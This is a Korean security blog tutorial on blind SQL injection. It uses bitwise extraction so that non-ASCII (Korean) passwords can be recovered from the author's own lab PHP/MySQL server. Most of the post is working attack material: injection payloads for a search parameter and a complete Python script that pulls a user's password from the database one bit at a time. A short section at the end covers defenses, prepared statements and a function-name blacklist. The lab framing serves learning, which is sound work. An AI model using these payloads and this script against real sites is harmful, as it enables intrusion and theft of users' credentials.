안녕하세요! 오늘은 Blind SQL 기법중 비트연산을 통한 공격을 진행해보겠습니다. 이 방법을 알려드리는 이유는 DB내용이 반드시 영문/숫자 조합일 것이라는 보장이 없기때문입니다. 만약 한글이라면? 기존 ASCII코드로 참거짓을 비교할수도 없고 한글 한문자는 11,172 가지의 경우의 수를 가지기 때문의 너무 연산에 오래걸립니다. 그래서 이 비트연산을 통한 SQL Injection 을 진행하게 되면 어느 문자로 이루어져 있든 보다 신속한 공격이 가능하게 됩니다!
비트연산을 통한 공격은 아래 링크를 통해 설명한 바 있으니 참고하시면 좋을것 같습니다.
https://jamesbexter.tistory.com/entry/Blind-SQL-인젝션-상황시-알아두면-좋은기법이진탐색-기법Bit-연산기법#
Blind SQL 인젝션 상황시 알아두면 좋은기법(이진탐색 기법,Bit 연산기법)
안녕하세요! 오늘은 블라인드 SQL인젝션을 진행할 때 알아두면 좋은 두가지를 포스팅하려고 합니다. 이번 포스팅 내용은 다음과 같습니다.이진탐색기법Bit연산기법1. 이진탐색기법> 이진탐색
jamesbexter.tistory.com
<실습전 타겟 정보>
타겟 : 개인 웹 서버 (apache, php , MYSQL)
취약점 종류 : SQL Injection
실습목표 : 취약점을 이용하여 DB내의 민감정보를 탈취할 수 있다. 그치만 탈취하려는 정보가 한글이면 어찌해야 할까?
주의사항 : DB정보는 한글로 이루어져있을수 있다. 단순히 기존의 Blind SQL 기법과 같이 ASCII 문자비교를 통해 이루어진다면 한글일 경우 한글자당 11,172가지가 넘는 경우를 비교해야 함으로 비트연산기법을 통해 시간을 단축해야한다.
1. 취약점 탐색
1. 우선 사이트로 들어와서 문의게시판에 접근했습니다.
2. 비회원으로 문의게시글을 작성할 수 있는 페이지 입니다. 여기 검색창에 test 라고 적어보겠습니다.
3. test 라고 검색하니 test 라는 이름의 게시물이 출력이 되었습니다. 그러면 SQL Injection 취약점이 있는지 확인하기 위하여 test%' and '1%'='1 이라고 검색해보겠습니다.
4. test%' and '1%'='1 라는 문구를 넣었음에도 test 라는 게시글이 뜨는것으로 봐선 이 사이트는 SQL Injection 취약점이 있다고 판단할 수 있을것 같습니다. 그러면 이를 통해 참거짓문 비교를 하여 DB내의 회원 비밀번호를 탈취해보겠습니다.
5. 실습에 탈취할 정보는 james라는 아이디의 비밀번호인 "admin비밀번호1234" 입니다. 해당 테이블명과 컬럼명을 알아냈다는 가정하에 추출해보겠습니다.
2. 공격 시작
1. Burp Suite 에서 위에서 test%' and '1%'='1% 이라는 문구를 검색하는 POST 요청을 잡아냅니다. 보시면 참일때는 idx=8번의 게시물이 뜨고 거짓일때는 안뜨는것을 보실수 있습니다. 이 점을 이용하여 참 거짓을 비교할 것입니다.
2. 사용될 SQL 쿼리문의 템플릿은 다음과 같습니다. 괄호부분에 참거짓문을 삽입하여 추출할 것입니다.
search 파라미터 값 : test%'+and+(__참거짓문__)+and+'1%'='1
3. 그러면 저 요청을 이용하여 Blind SQL Injection 을 위한 파이썬 코드를 차례대로 짜보겠습니다.
> Bit 연산 공격을 위한 파이썬 코딩
step 0. Post 요청에 필요한 헤더설정
> 위에서 보냈던 요청을 파이썬으로 그대로 보내기 위하여 사용되었던 헤더를 파이썬에 입력해줍니다. data 파라미터는 검색기능의 POST요청을 보낼때 본문 파라미터 내용입니다.
import requests
### 헤더 설정부분
host="http://192.168.0.9/qna_list.php"
header = {
"Host": "192.168.0.9",
"Cache-Control": "max-age=0",
"Origin": "http://192.168.0.9",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://192.168.0.9/qna_list.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7",
"Connection": "keep-alive",
}
cookie = {
"PHPSESSID": "tqsom7pdk42eu0q2l9so5enav9",
}
data = {
"stand": "qna_name",
"search": "",
"sort": "qna_date",
"startdate": "2024-01-01T00:00",
"enddate": "2025-12-30T00:00"
}
### 헤더 설정 끝
step 1. 추출할 문자열 길이 알아내기
> 참거짓문을 이용하여 추출할 문자열의 길이를 알아내야 합니다.
- query 파라미터에는 들어갈 참거짓문을 넣어주세요.
- 이후 data.update 를 통해 입력한 query문을 위에 헤더선언할때 같이 선언했던 data 값에 넣어주시면 됩니다.
- 이후 requests모듈로 POST 요청을 하신후 결과를 r 이라는 변수에 넣어주고 , r.text(웹 요청의 결과)에 idx=8 이라는 문자열이 있으면 password_length 값을 그만 더하고 print로 출력합니다.
- 여기서 사용된 char_length 함수는 문자열의 있는 문자의 길이를 출력하는 함수입니다.
(비밀번호 길이 추출 코드)
### 비밀번호 길이 추출 코드 부분
password_length = 0
while True:
password_length +=1
query=f"test%' and (select char_length(password) from userlog where id='james')={password_length} and '1%'='1"
data.update({"search":query}) # 바뀐 쿼리문 data 변수에 삽입
r = requests.post(host,headers=header,cookies=cookie,data=data)
if "idx=8" in r.text:
print(f"password length : {password_length}")
break
### 비밀번호 길이 추출 코드 끝
step 2. 추출할 문자의 비트 길이 알아내기
> 이 과정이 필요한 이유는 추출할 문자가 반드시 영어라는 보장이 없어서 입니다. 그래서 문자열이 어떤 조합으로 이루어져 있는지 판단하기 위해 아래 과정이 필요합니다.
- 우선 서브 쿼리를 통해 james라는 id의 password정보를 맨 앞글자 부터 차례대로 가져옵니다.
- 가져온 문자를 ord 함수를 통해 문자를 정수로 변환시켜줍니다.
- 변환된 정수값을 bin 함수를 통해 이진수로 변환시켜줍니다.
- 변환된 이진수의 길이를 length 함수를 통해 추출합니다.
- 출력된 length 함수의 값과 bit_length 변수의 값을 비교하여 일치하면 그때의 bit_length 변수값을 출력합니다.
문자 종류 | 비트길이 |
숫자 | 6 |
영문 | 7 |
한글 | 24 |
(비트길이 알아내기 코드)
### 비트길이 알아내기 시작 (여기서 한/영/숫자 조합 유추가능)
password=""
for i in range(1,password_length + 1):
bit_length=0
while True:
bit_length+=1
query=f"test%' and length(bin(ord((select substr(password,{i},1) from userlog where id='james'))))={bit_length} and '1%'='1"
data.update({"search":query})
r = requests.post(host,headers=header,cookies=cookie,data=data)
if "idx=8" in r.text:
print(f"문자 {i}번째의 bit수는 : {bit_length} "+("<영문>" if bit_length==7 else "<한글>" if bit_length == 24 else "<숫자>" if bit_length == 6 else "<한/영/숫자가 아님>"))
step 3. 추출할 Bit 알아내기
> 비트 길이도 알아냈으니 이제 비트가 어떻게 구성되어 있는지 확인해야합니다. 아래의 과정을 따릅니다.
- 서브쿼리로 얻어낸 james 라는 id의 패스워드를 한글자씩 가져와서 이진수로 만들어줍니다.
- 이진수를 또 한글자씩 가져와서 1 인지 0 인지 비교를 통해 비트의 구성을 알아낼 수 있습니다.
(비트 알아내기 코드)
### 비트 알아내기 코드 시작
bit=""
for j in range(1,bit_length+1):
query=f"test%' and (select+substr(bin(ord(substr(password,{i},1))),{j},1) from userlog where id='james')=1 and '1%'='1"
data.update({"search":query})
r = requests.post(host,headers=header,cookies=cookie,data=data)
if "idx=8" in r.text:
bit+="1"
else:
bit+="0"
print(f"{i}번째 문자열의 비트는 : {bit}")
step 4. 추출한 비트를 문자로 바꿔주고 저장
> 위에서 추출한 Bit 값을 다시 역으로 문자로 바꿔준후 변수값에 차례대로 저장합니다.
password += int.to_bytes(int(bit,2), (bit_length+7)//8,"big").decode("utf-8")
step 5. 최종코드
> 이를 전부 다 합친 최종 코드는 다음과 같습니다.
import requests
### 헤더 설정부분
host="http://192.168.0.9/qna_list.php"
header = {
"Host": "192.168.0.9",
"Cache-Control": "max-age=0",
"Origin": "http://192.168.0.9",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://192.168.0.9/qna_list.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7",
"Connection": "keep-alive",
}
cookie = {
"PHPSESSID": "tqsom7pdk42eu0q2l9so5enav9",
}
data = {
"stand": "qna_name",
"search": "",
"sort": "qna_date",
"startdate": "2024-01-01T00:00",
"enddate": "2025-12-30T00:00"
}
### 헤더 설정 끝
### 비밀번호 길이 추출 코드 부분
password_length = 0
while True:
password_length +=1
query=f"test%' and (select char_length(password) from userlog where id='james')={password_length} and '1%'='1"
data.update({"search":query}) # 바뀐 쿼리문 data 변수에 삽입
r = requests.post(host,headers=header,cookies=cookie,data=data)
if "idx=8" in r.text:
print(f"password length : {password_length}")
break
### 비밀번호 길이 추출 코드 끝
### 비트길이 알아내기 시작 (여기서 한/영/숫자 조합 유추가능)
password=""
for i in range(1,password_length + 1):
bit_length=0
while True:
bit_length+=1
query=f"test%' and length(bin(ord((select substr(password,{i},1) from userlog where id='james'))))={bit_length} and '1%'='1"
data.update({"search":query})
r = requests.post(host,headers=header,cookies=cookie,data=data)
if "idx=8" in r.text:
print(f"문자 {i}번째의 bit수는 : {bit_length} "+("<영문>" if bit_length==7 else "<한글>" if bit_length == 24 else "<숫자>" if bit_length == 6 else "<한/영/숫자가 아님>"))
### 비트 알아내기 코드 시작
bit=""
for j in range(1,bit_length+1):
query=f"test%' and (select+substr(bin(ord(substr(password,{i},1))),{j},1) from userlog where id='james')=1 and '1%'='1"
data.update({"search":query})
r = requests.post(host,headers=header,cookies=cookie,data=data)
if "idx=8" in r.text:
bit+="1"
else:
bit+="0"
print(f"{i}번째 문자열의 비트는 : {bit}")
password += int.to_bytes(int(bit,2), (bit_length+7)//8,"big").decode("utf-8")
break
print(f"\n\n <<< Password = {password} >>>")
### 비트 알아내기 코드 끝
### 비트길이 알아내기 코드 끝
3. 공격결과
> 위에서 작성한 파이썬 코드를 실행한 결과 DB내의 있던 admin비밀번호1234라는 비밀번호 조합을 3초안에 추출할 수 있었습니다.
4. 대응방안
1. Prepared Statement 구문사용
> SQL Injection 은 사용자의 입력값이 SQL 쿼리문에 영향을 미쳐서 발생하게 됩니다. Prepared Statement 를 사용하면 사용자의 입력값을 나중에 컴파일 하는 방식을 사용하기 때문에 쿼리문에 영향을 미치지 않습니다.
2. 블랙리스트 필터링 방식
> 1번 대응방안과 더불어 사용자 입력값에 쓰면 안되는 단어를 지정하여 검증하는 방식을 사용하면 좀더 촘촘히 대응할 수 있습니다. 이번 실습같은 경우 생각해볼수 있는 단어들은 ord, bin , substr , char_length 같은 함수명을 필터링 목록에 추가하시면 보안강도가 좀 더 향상될것입니다.
긴 글 읽어주셔서 감사합니다.
'웹해킹' 카테고리의 다른 글
Blind SQL 인젝션 상황시 알아두면 좋은기법(이진탐색 기법,Bit 연산기법) (0) | 2025.01.10 |
---|---|
Authentication&Athorization (인증/인가 취약점)이란? (0) | 2024.08.03 |
File upload vulnerability - 파일 업로드 취약점 (1) (2) | 2024.07.19 |
CSRF(Cross Site Request Forgery)공격 (0) | 2024.07.04 |
XSS 공격 대응방안 (0) | 2024.06.30 |